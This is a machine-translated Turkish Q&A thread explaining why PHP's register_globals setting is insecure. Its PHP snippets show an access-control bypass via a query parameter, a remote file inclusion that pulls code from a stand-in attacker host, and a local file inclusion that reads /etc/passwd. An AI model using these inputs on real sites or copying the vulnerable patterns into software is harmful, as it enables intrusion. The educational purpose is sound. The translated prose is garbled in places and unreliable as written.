Neden register_globals bu kadar kötü?

4 Cevap php

Ben bir PHP geliştiricisi değilim ama insanların veba falan gibi davranmak gibi yerlerde bir çift gördüm. Neden?

4 Cevap

REGISTER_GLOBALS GET veya POST geçirilen tüm değişkenler script içinde global değişkenler olarak imal edilirler demektir. Bildirilmemiş değişkenleri erişen PHP (bir uyarı var) bir hata olmadığından, çok kötü durumlara yol açabilir. Örneğin, bu göz önünde bulundurun:

<?php
// $debug = true;
if ($debug) {
    echo "query: $query\n";
}

Bu (iyi tasarlanmış kod) Bu nedenle bildirilmemiş olabilecek değişkenleri erişmek gerekir (ve olmamalıdır need REGISTER_GLOBALS aynı nedenle, uyarılar üretmek olmamalıdır başına kötü bir şey değil ), ancak PHP kodu güvenlik açıkları bu tür lider, genellikle [çok] düşük kaliteli olduğunu.

Register_globals etkinleştirilmesi bazı kötü adamlar yararlanmak için istekli olacaktır açıkları için PHP tarafından sunulan web sayfalarını ortaya koyar.

Bu URL'nin sonunda, herhangi bir sorgu dizesi ile etkin:

http://yourdomain/something.php?valid=true

something.php (örneğin) geçerli bir değişken $ değerini etkileyecek, if it exists.

Eğer kamuya açık PHP kodu (örneğin bir kütüphane) kullanıyorsanız değişkenlerin isimleri iyi bilinmektedir ve hacker sorgu dizesinde değerler atayarak kendi değerlerini kontrol etmek mümkün olacaktır. Onlar kimlik atlamak mümkün olabilir.

Eğer kamu kodu kullanarak olsanız bile, önemli değişkenlerin isimlerini tahmin etmek mümkün olabilir ve onların değerlerini kontrol edebilir.

Bu register_globals PHP.INI etkin olduğu varsayılan olarak kullanılan

Yeni uygulama varsayılan olarak devre dışı bırakmak için olmuştur. Kendi risk etkinleştirin!

Sadece eklemek için buraya REGISTER_GLOBALS etkin olan gününüzü mahvedebilir bazı durumlar şunlardır:

Using the query string to bypass access control (hack using http://example.com/?logged=1):

<?php
$logged = User::getLogged();
if ($logged)
{
    include '/important/secret.php';
}
?>

Remote File Inclusion (RFI):

<?php
    //http://example.com/?path=http://evilbadthings.example.com/
    include "$path"; 
?>

Local File Inclusion (LFI):

<?php
    //http://example.com/?path=../../../../etc/passwd
    include "$path"; 
?>

Bu kullanıcı herhangi bir kontrol olmadan kodunuzda herhangi bir küresel değişkeni enjekte sağlar çünkü.

Kodun kalitesine dayanarak, önemli güvenlik hataları tanıtmak olabilir.